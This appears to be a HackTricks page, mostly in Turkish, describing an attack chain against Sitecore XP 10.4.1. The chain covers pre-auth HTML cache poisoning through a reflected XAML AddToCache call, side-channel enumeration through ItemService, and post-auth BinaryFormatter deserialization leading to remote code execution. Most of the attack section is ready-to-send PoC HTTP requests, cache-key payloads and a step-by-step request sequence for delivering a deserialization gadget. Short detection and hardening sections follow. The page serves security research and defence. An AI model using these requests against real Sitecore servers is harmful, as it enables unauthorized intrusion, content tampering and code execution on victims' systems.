Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu sayfa, pre‑auth XAML handler'dan HTML cache poisoning'e ve authenticated UI flow aracılığıyla BinaryFormatter deserialization ile RCE'ye kayan Sitecore XP 10.4.1'e yönelik pratik bir saldırı zincirini özetler. Teknikler benzer Sitecore sürümlerine/bileşenlerine genellenebilir ve test etmek, tespit etmek ve sertleştirmek için somut primitives sağlar.
- Etkilenen ürün (test edilen): Sitecore XP 10.4.1 rev. 011628
- Düzeltildi: KB1003667, KB1003734 (Haziran/Temmuz 2025)
Ayrıca bakınız:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Giriş noktası, web.config içinde kayıtlı olan pre‑auth XAML handler'dır:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Şu yollarla erişilebilir:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Kontrol ağacı, AjaxScriptManager öğesini içerir; bu, olay isteklerinde attacker‑controlled alanları okur ve hedeflenen kontroller üzerindeki metotları yansıma yoluyla çağırır:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Önemli gözlem: XAML sayfası bir XmlControl örneği içeriyor (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl (bir Sitecore sınıfı) sınıfından türetilir; bu, ReflectionUtil.Filter izin listesi (Sitecore.*) kontrolünü geçer ve Sitecore WebControl üzerindeki yöntemlerin erişime açılmasını sağlar.
Poisoning için sihirli yöntem:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
xmlcontrol:GlobalHeader'ı hedefleyebildiğimiz ve Sitecore.Web.UI.WebControl yöntemlerini isimle çağırabildiğimiz için, pre‑auth arbitrary HtmlCache write primitive elde ediyoruz.
PoC request (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Notlar:
- __SOURCE, Sitecore.Shell.Xaml.WebControl içindeki xmlcontrol:GlobalHeader'ın clientID'sidir (statik XAML'den türetildiği için genellikle ctl00_ctl00_ctl05_ctl03 gibi stabildir).
- __PARAMETERS biçimi Method("arg1","arg2") şeklindedir.
What to poison: Cache key construction
Sitecore kontrolleri tarafından kullanılan tipik HtmlCache anahtar oluşturma:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Bilinen bir sublayout için örnek targeted poisoning:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Önbelleğe alınabilir öğeleri ve “vary by” boyutlarını listeleme
Eğer ItemService anonim olarak (mis)exposed olmuşsa, kesin anahtarları türetmek için önbelleğe alınabilir bileşenleri listeleyebilirsiniz.
Hızlı deneme:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Önbelleğe alınabilir öğeleri ve bayrakları listele:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate gibi alanlara bakın. Cihaz isimleri şu yollarla listelenebilir:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
ItemService sınırlı bir hesabı (ör. ServicesAPI) taklit etse ve boş bir Results dizisi döndürse bile, TotalCount hâlâ pre‑ACL Solr isabetlerini yansıtabilir. Wildcards ile item groups/ids üzerinde brute‑force yaparak TotalCount'un yakınsamasını izleyip dahili içerik ve cihazları haritalayabilirsiniz:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Yetkilendirme sonrası RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
convertToRuntimeHtml pipeline step ConvertWebControls üzerinden erişilebilir; bu adım id'si {iframeId}_inner olan bir elementi arar ve base64 decodes + deserializes ederek ortaya çıkan string'i HTML'e enjekte eder:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Tetikleme (kimlik doğrulamalı, Content Editor yetkisine sahip). FixHtml dialogu convertToRuntimeHtml çağırır. UI tıklamaları olmadan uçtan uca:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget oluşturma: ysoserial.net / YSoNet kullanarak BinaryFormatter ile string döndüren base64 payload üretin. String’in içeriği, deserialization yan etkileri çalıştıktan sonra ConvertWebControls tarafından HTML’e yazılır.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Tam zincir
- Pre‑auth attacker, XAML AjaxScriptManager aracılığıyla reflection kullanarak WebControl.AddToCache'i çağırıp HtmlCache'i keyfi HTML ile zehirler.
- Zehirlenmiş HTML, authenticated Content Editor kullanıcısını FixHtml akışına yönlendiren JavaScript sunar.
- FixHtml sayfası convertToRuntimeHtml → ConvertWebControls tetikler; bu, BinaryFormatter aracılığıyla saldırgan kontrollü base64'i deserialize eder → Sitecore app pool kimliği altında RCE.
Tespit
- Pre‑auth XAML:
/-/xaml/Sitecore.Shell.Xaml.WebControl'e__ISEVENT=1, şüpheli__SOURCEve__PARAMETERS=AddToCache(...)ile yapılan istekler. - ItemService probing:
/sitecore/api/sscwildcard sorgularında ani artışlar, boşResultsile yüksekTotalCount. - Deserialization attempts:
EditHtml.aspx'i takibenFixHtml.aspx?hdl=...ve HTML alanlarında olağandışı büyük base64.
Sertleştirme
- Sitecore yamalarını KB1003667 ve KB1003734 uygulayın; pre‑auth XAML handler'larını engelleyin/devre dışı bırakın veya sıkı doğrulama ekleyin;
/-/xaml/'i izleyin ve rate‑limit uygulayın. - BinaryFormatter'ı kaldırın/değiştirin; convertToRuntimeHtml erişimini kısıtlayın veya HTML düzenleme akışlarında güçlü sunucu tarafı doğrulama uygulayın.
/sitecore/api/ssc'yi loopback veya authenticated rollere kapatın;TotalCount‑tabanlı side channel'ları leak eden impersonation kalıplarından kaçının.- Content Editor kullanıcıları için MFA/least privilege uygulayın; cache poisoning'den kaynaklanan JS yönlendirme etkisini azaltmak için CSP'yi gözden geçirin.
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks